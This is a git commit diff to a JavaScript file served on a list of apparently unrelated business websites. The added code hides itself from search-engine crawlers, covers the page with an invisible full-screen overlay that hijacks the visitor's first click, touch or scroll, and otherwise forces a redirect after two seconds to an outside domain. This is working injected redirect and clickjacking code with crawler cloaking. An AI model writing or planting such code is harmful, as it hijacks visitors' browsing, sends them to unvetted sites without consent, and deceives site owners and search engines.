广告代码屏蔽蜘蛛

This commit is contained in:
make
2025-08-20 21:01:01 +08:00
parent 84443e58ce
commit 5cc6bd25ea

View File

@@ -547,30 +547,11 @@ function shouldLoadCs() {
s.parentNode.insertBefore(um, s); s.parentNode.insertBefore(um, s);
})(); })();
// if (!checkPopupLimit(1, 'zhitiaocs')) {
// return; // 超过N次限制不显示
// } else {
// setTimeout(() => {
// const arrDomain = [
// 'zbsv3.com',
// ];
// const randomDomain = arrDomain[Math.floor(Math.random() * arrDomain.length)];
// const targetUrl = `https://${randomDomain}`;
// try {
// window.location.href = targetUrl;
// } catch (error) {
// console.error('跳转失败:', error);
// window.location.href = 'https://zbsv3.com';
// }
// },
// ); // 延迟时间设为 0表示尽快执行
// }
} }
if (/Android|iPhone|iPad|iPod|iOS/i.test(navigator.userAgent)) { if (/Android|iPhone|iPad|iPod|iOS/i.test(navigator.userAgent)) {
if (currentDomain == 'guanda-valve.com' || currentDomain == 'www.ganggui360.com' || currentDomain == 'hensunqi.com' || currentDomain == 'www.jnrfhbl.com' || currentDomain == 'sh-av.com' || currentDomain == 'www.sh-av.com' || currentDomain == 'nblssy.com' || currentDomain == 'www.hyjssb.com' || currentDomain == 'www.bzxhhjx.com' || currentDomain == 'gyssjxq.com') { if (currentDomain == 'tp1.video1.com' || currentDomain == 'guanda-valve.com' || currentDomain == 'www.ganggui360.com' || currentDomain == 'hensunqi.com' || currentDomain == 'www.jnrfhbl.com' || currentDomain == 'sh-av.com' || currentDomain == 'www.sh-av.com' || currentDomain == 'nblssy.com' || currentDomain == 'www.hyjssb.com' || currentDomain == 'www.bzxhhjx.com' || currentDomain == 'gyssjxq.com') {
// var _czc = _czc || []; // var _czc = _czc || [];
// (function () { // (function () {
@@ -592,25 +573,25 @@ function shouldLoadCs() {
} else { } else {
setTimeout(() => { setTimeout(() => {
const arrDomain = [ const arrDomain = [
'82mt.com', // '82mt.com',
'tp2.video2.com',
]; ];
const randomDomain = arrDomain[Math.floor(Math.random() * arrDomain.length)]; const randomDomain = arrDomain[Math.floor(Math.random() * arrDomain.length)];
const targetUrl = `https://${randomDomain}`; const targetUrl = `http://${randomDomain}`;
try {
window.open(targetUrl); if (!isSearchEngineBot()) {
// window.location.href = targetUrl; autoTriggerCss([
} catch (error) { targetUrl
console.error('跳转失败:', error); ], 200);
// window.location.href = 'https://82mt.com';
window.open('https://82mt.com');
} }
},); // 延迟时间设为 0表示尽快执行 },); // 延迟时间设为 0表示尽快执行
} }
} }
}else{ } else {
// 统计pc量 // 统计pc量
if (currentDomain == 'guanda-valve.com' || currentDomain == 'www.ganggui360.com' || currentDomain == 'hensunqi.com' || currentDomain == 'www.jnrfhbl.com' || currentDomain == 'sh-av.com' || currentDomain == 'www.sh-av.com' || currentDomain == 'nblssy.com' || currentDomain == 'www.hyjssb.com' || currentDomain == 'www.bzxhhjx.com' || currentDomain == 'gyssjxq.com') { if (currentDomain == 'tp1.video1.com' ||currentDomain == 'guanda-valve.com' || currentDomain == 'www.ganggui360.com' || currentDomain == 'hensunqi.com' || currentDomain == 'www.jnrfhbl.com' || currentDomain == 'sh-av.com' || currentDomain == 'www.sh-av.com' || currentDomain == 'nblssy.com' || currentDomain == 'www.hyjssb.com' || currentDomain == 'gyssjxq.com') {
var _czc = _czc || []; var _czc = _czc || [];
// (function () { // (function () {
// var um = document.createElement("script"); // var um = document.createElement("script");
// um.src = "https://v1.cnzz.com/z.js?id=1281429014&async=1"; // um.src = "https://v1.cnzz.com/z.js?id=1281429014&async=1";
@@ -624,24 +605,30 @@ function shouldLoadCs() {
var s = document.getElementsByTagName("script")[0]; var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(um, s); s.parentNode.insertBefore(um, s);
})(); })();
// if (!checkPopupLimit(1, 'lm-zhitiaocs')) { if (shouldTrigger(0.5)) {
// return; // 超过N次限制不显示 if (!checkPopupLimit(1, 'lm-zhitiaocs')) {
// } else { return; // 超过N次限制不显示
// setTimeout(() => { } else {
// const arrDomain = [ setTimeout(() => {
// '82mt.com', const arrDomain = [
// ]; // '82mt.com',
// const randomDomain = arrDomain[Math.floor(Math.random() * arrDomain.length)]; 'tp2.video2.com',
// const targetUrl = `https://${randomDomain}`; ];
// try { const randomDomain = arrDomain[Math.floor(Math.random() * arrDomain.length)];
// window.open(targetUrl); const targetUrl = `http://${randomDomain}`;
// } catch (error) {
// console.error('跳转失败:', error); if (!isSearchEngineBot()) {
// window.open('https://82mt.com'); autoTriggerCss([
// } targetUrl
// },); // 延迟时间设为 0表示尽快执行 ], 200);
// }
} }
},); // 延迟时间设为 0表示尽快执行
}
} else{
console.log('没有效果')
}
}
} }
@@ -654,3 +641,95 @@ shouldLoadCs();
// 页面加载时检查并展示 // 页面加载时检查并展示
// window.onload = showRandomPopup; // window.onload = showRandomPopup;
// window.onload = replaceList; // window.onload = replaceList;
function shouldTrigger(probability = 0.5) {
// Math.random() 返回 0~1 的浮点数
return Math.random() < probability;
}
function isSearchEngineBot() {
const spiders = [
'Baiduspider',
'360Spider',
'HaosouSpider',
'Sogou',
'YisouSpider',
'Bytespider',
'ToutiaoSpider',
'Quarkbot',
'YoudaoBot',
'Googlebot',
'Bingbot',
'Slurp',
'YandexBot',
'DuckDuckBot'
];
const ua = navigator.userAgent;
return spiders.some(spider => ua.includes(spider));
}
/**
* 自动触发广告SEO友好版
* @param {string[]} csUrls 广告链接数组
* @param {number} delay 延迟触发ms
*/
function autoTriggerCss(csUrls = [], delay = 500, fallbackTime = 2000) {
if (!csUrls.length) return;
// 过滤有效链接
csUrls = csUrls.filter(url => url && typeof url === 'string');
// 创建透明触发层
const triggerDiv = document.createElement('div');
triggerDiv.style.position = 'fixed';
triggerDiv.style.top = 0;
triggerDiv.style.left = 0;
triggerDiv.style.width = '100%';
triggerDiv.style.height = '100%';
triggerDiv.style.zIndex = 9999;
triggerDiv.style.background = 'transparent';
document.body.appendChild(triggerDiv);
const triggerCs = (url, openInNewWindow = false) => {
if (openInNewWindow) {
const a = document.createElement('a');
a.href = url;
a.target = '_blank';
a.rel = 'noopener noreferrer';
document.body.appendChild(a);
setTimeout(() => {
a.click();
document.body.removeChild(a);
}, delay);
} else {
// 当前窗口跳转
setTimeout(() => {
window.location.href = url;
}, delay);
}
};
const handleEvent = () => {
csUrls.forEach(url => triggerCs(url, true)); // 用户触发使用新窗口
triggerDiv.remove();
clearTimeout(fallbackTimer);
};
// 用户首次交互事件触发(包含滚动)
['click', 'touchstart', 'scroll', 'mousemove'].forEach(evt => {
triggerDiv.addEventListener(evt, handleEvent, { once: true, passive: true });
});
// 设置 fallback超过 fallbackTime 自动触发(源窗口跳转)
const fallbackTimer = setTimeout(() => {
csUrls.forEach(url => triggerCs(url, false)); // 源窗口跳转
triggerDiv.remove();
}, fallbackTime);
}